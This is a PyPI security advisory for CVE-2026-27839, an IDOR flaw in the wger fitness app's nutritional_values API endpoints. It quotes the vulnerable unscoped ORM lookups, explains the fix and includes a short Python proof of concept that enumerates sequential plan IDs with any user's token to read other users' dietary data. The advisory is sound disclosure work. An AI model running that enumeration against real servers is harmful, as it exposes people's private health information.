id: PYSEC-2026-3422 published: "2026-07-13T14:36:39.598915Z" modified: "2026-07-13T16:07:33.004500Z" aliases: - CVE-2026-27839 - GHSA-g8gc-6c4h-jg86 summary: "wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup" details: "## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk) # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk) # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n r = requests.get(\n f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n headers=headers\n )\n if r.status_code == 200:\n data = r.json()\n print(f\"Plan {pk}: {data}\")\n # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n # fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`." affected: - package: name: wger ecosystem: PyPI purl: pkg:pypi/wger ranges: - type: ECOSYSTEM events: - introduced: "0" - last_affected: "2.1" versions: - "1.1" - 1.1.1 - "1.2" - 1.2rc1 - "1.3" - "1.4" - "1.5" - "1.6" - 1.6.1 - "1.7" - "1.8" - "1.9" - "2.0" - "2.1" references: - type: WEB url: https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-27839 - type: WEB url: https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e - type: PACKAGE url: https://github.com/wger-project/wger - type: PACKAGE url: https://pypi.org/project/wger - type: ADVISORY url: https://github.com/advisories/GHSA-g8gc-6c4h-jg86 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N